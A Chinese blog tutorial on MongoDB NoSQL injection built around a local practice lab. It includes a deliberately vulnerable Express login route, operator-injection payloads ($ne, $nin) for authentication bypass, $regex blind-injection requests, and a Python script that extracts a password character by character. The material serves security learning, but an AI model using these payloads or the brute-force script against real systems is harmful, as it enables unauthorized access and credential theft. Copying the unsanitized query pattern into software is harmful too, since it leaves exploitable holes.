• Nosql inject注入


    0x00 Nosql inject

    最近主要在看那个 YApi 的注入漏洞,也是一个 mongodb的注入

    所以来写一下这个东西,其实现在越来越常见的Nosql注入

    感觉很多分布式和一些新的系统已经大量使用这种nosql数据库,这个注入和传统的关系型数据库有一点点不同

    还有一个练习的靶场,等等放上来 github

    0x01 What is nosql

    什么是 Nosql

    都是抄的介绍自己看看吧

    NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”。NoSQL 是一项全新的数据库革命性运动,早期就有人提出,发展至 2009 年趋势越发高涨。NoSQL的拥护者们提倡运用非关系型的数据存储,相对于铺天盖地的关系型数据库运用,这一概念无疑是一种全新的思维的注入。

    0x02 Nosql 注入的简介

    NoSQL 注入由于 NoSQL 本身的特性和传统的 SQL 注入有所区别。

    使用传统的SQL注入,攻击者利用不安全的用户输入来修改或替换应用程序发送到数据库引擎的 SQL 查询语句(或其他SQL语句)。
    换句话说,SQL 注入使攻击者可以在数据库中 SQL 执行命令。

    与关系数据库不同:

    NoSQL 数据库不使用通用查询语言。NoSQL 查询语法是特定于产品的,查询是使用应用程序的编程语言编写的:PHP,JavaScript,Python,Java 等。这意味着成功的注入使攻击者不仅可以在数据库中执行命令,而且可以在应用程序本身中执行命令,这可能更加危险。

    0x03 最常见的MongoDB

    MongoDB 是当前最流行的 NoSQL 数据库产品之一,由 C++ 语言编写,是一个基于分布式文件存储的数据库。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

    单词对标

    在 MongoDB 中基本的概念有一些特殊的名字“文档、集合、数据库”

    这个是先知文章之中看到的,感觉对比的非常好,一目了然,对于快速掌握还是比较友好

    表所示:

    SQL 概念MongoDB 概念说明
    databasedatabase数据库
    tablecollection数据库表/集合
    rowdocument数据记录行/文档
    columnfield数据字段/域
    indexindex索引
    table joins表连接,MongoDB 不支持
    primary keyprimary key主键,MongoDB 自动将 _id 字段设置为主键

    下表列出了关系型数据库 RDBMS 与 MongoDB 之间对应的术语:

    RDBMSMongoDB
    数据库数据库
    表格集合
    文档
    字段
    表联合嵌入文档
    主键主键(MongoDB 提供了 key 为 _id)

    0x04 mongodb的简单使用

    首先我们先熟悉一下mongodb的常规用法,回归基础哈哈

    下面是我学习的一些command line

    利用账号密码登陆

    # mongo mongodb://admin:admin@127.0.0.1:27017                                          
    MongoDB shell version v4.0.27
    connecting to: mongodb://127.0.0.1:27017/?gssapiServiceName=mongodb
    Implicit session: session { "id" : UUID("e1c9a87d-f9e4-4cfc-b661-8d7019d19628") }
    MongoDB server version: 4.0.27
    Server has startup warnings: 
    2022-11-26T02:29:47.282+0000 I STORAGE  [initandlisten] 
    2022-11-26T02:29:47.282+0000 I STORAGE  [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
    2022-11-26T02:29:47.282+0000 I STORAGE  [initandlisten] **          See http://dochub.mongodb.org/core/prodnotes-filesystem
    ---
    Enable MongoDB's free cloud-based monitoring service, which will then receive and display
    metrics about your deployment (disk utilization, CPU, operation statistics, etc).
    
    The monitoring data will be available on a MongoDB website with a unique URL accessible to you
    and anyone you share the URL with. MongoDB may use this information to make product
    improvements and to suggest MongoDB products and deployment options to you.
    
    To enable free monitoring, run the following command: db.enableFreeMonitoring()
    To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
    ---
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    查看数据库

    > show dbs
    admin   0.000GB
    arl     0.041GB
    config  0.000GB
    local   0.000GB
    
    • 1
    • 2
    • 3
    • 4
    • 5

    当前数据库

    > db
    test
    
    • 1
    • 2

    切换数据库

    > use arl
    switched to db arl
    
    • 1
    • 2

    查看集合(相当于看库表)

    > show collections
    asset_domain
    asset_ip
    asset_site
    cert
    ...
    > show tables
    asset_domain
    asset_ip
    asset_site
    cert
    ...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    创建一个集合

    > db.createCollection("zeotest")
    { "ok" : 1 }
    > show tables
    all_users
    asset_domain
    asset_ip
    asset_site
    cert
    zeotest
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    插入一个文档(数据)

    db.zeotest.insert({name: 'zeo', 
        description: 'the hacker',
        age: 18,
        status: 'UP',
        tel: ['13888888888', '66666666666']
    })
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    查询数据,带条件的查询

    在 MongoDB 中使用 find() 方法来查询文档

    > db.zeotest.find()
    { "_id" : ObjectId("63817c440c8866311e74ab59"), "name" : "zeo", "description" : "the hacker", "age" : 18, "status" : "UP", "tel" : [ "13888888888", "66666666666" ] }
    > db.zeotest.insert({name: 'jebson',     description: 'the it',     age: 22,     status: 'down',     tel: ['138888', '666666'] })
    WriteResult({ "nInserted" : 1 })
    > db.zeotest.find()
    { "_id" : ObjectId("63817c440c8866311e74ab59"), "name" : "zeo", "description" : "the hacker", "age" : 18, "status" : "UP", "tel" : [ "13888888888", "66666666666" ] }
    { "_id" : ObjectId("63817cb30c8866311e74ab5a"), "name" : "jebson", "description" : "the it", "age" : 22, "status" : "down", "tel" : [ "138888", "666666" ] }
    > db.zeotest.find({"name":"zeo"})
    { "_id" : ObjectId("63817c440c8866311e74ab59"), "name" : "zeo", "description" : "the hacker", "age" : 18, "status" : "UP", "tel" : [ "13888888888", "66666666666" ] }
    > 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    靶场搭建

    有一个小bug,现在版本升级之后,得用下面这个,mongodb的包是包含在这个里面的

    npm install mongoose
    
    • 1

    0x05 NoSQL 注入

    0x06 重言式注入

    也叫永真式,此类攻击是在条件语句中注入代码

    使生成的表达式判定结果永远为真,类似万能密码

    看一下下面这个简单的js代码

    app.get('/inject', function(req, res) {
    	var user = (req.query.user);
    	var pass = (req.query.pass);
    	var query = ( '{ "name": '+user+', "passwd": '+pass+' }' );
    	console.log(query)
    	const mydb = db.db('arl')
    	console.log(user,"---",pass)
    	mydb.collection(mongo_col).findOne({
    		"name": user, 
    		"passwd": pass
    	}, function (err, user) {
    		if (err) {
    			return res.status(500).send({message: err.message});
    		}
    		else if (!user) {
    			res.render('error', {error: 'Sorry user not found!' });
    		}
    		else{
    		    res.render('result', {user: user.user, pass: user.pass });
    		}
    	});
    });
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    payload

    http://127.0.0.1:8000/inject?user[$nin][]=&pass[$ne]=
    
    • 1

    实际获取的数据

    user 是 { '$nin': [ '' ] }
    pass 是 { '$ne': '' }

    拼接之后的qurey是

    { "name": [object Object], "passwd": [object Object] }
    
    • 1

    解释一下:

    • 首先是$ne 是 not equal 不等于

    • http链接中user[$nin][]=&pass[$ne]=

    • js中是 query =array( "user" => array("$nin" => 1),"pass" => ("$ne" => 1))

    • mongodb中拼接查询就是

      mydb.collection(mongo_col).find({ "name": {"$nin":1}, "passwd": {"$ne":1} })
      
      • 1
    • 这样就相当于是万能密码那 or 1=1 吧, 查询就是永真的情况

    0x07 盲注

    现在感觉很多的地方都是当页面没有回显这种情况

    一般都通过通过 $regex 正则表达式操作

    而且 NoSQL 用到的基本上都是布尔盲注。

    payload

    GET /inject?login=&user[$eq]=zeo2&pass[$regex]=.{7} HTTP/1.1
    Host: 127.0.0.1:8000
    
    错误,说明长度没有7
    GET /inject?login=&user[$eq]=zeo2&pass[$regex]=.{6} HTTP/1.1
    Host: 127.0.0.1:8000
    
    正确,说明长度为6
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    写给脚步跑一下

    import requests
    import urllib3
    import string
    import urllib
    urllib3.disable_warnings()
    passwd = ''
    target = 'http://127.0.0.1:8000/inject?login=&user[$eq]=zeo2&pass[$regex]='
    while True:
        for word in string.printable:
            if word not in ['*', '+', '.', '?', '|', '#', '&', '$']:
                payload = '^%s' % (passwd + word)
                r = requests.get(target + payload)
                if 'Welcome' in r.text:
                    print("Found one more char : %s" % (passwd+word))
                    passwd += word
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    image-20221126211214629

  • 相关阅读:
    ensp命令练习及交换机 和个路由器的基本命令
    14天阅读挑战赛(趣学算法)笔记1
    JavaWeb运行环境安装教程以及各个安装包
    记一次克隆笔记本的Window 10硬盘到新的SSD的经验
    RHCE 9.0培训课程之容器技术的运行
    PWN入门(4)覆盖程序函数的返回地址
    第一个SpringBoot项目的创建
    关系数据库标准语言SQL
    如何快速开发app?小程序+插件少不了
    Document:visibilitychange 事件
  • 原文地址:https://blog.csdn.net/god_zzZ/article/details/128080761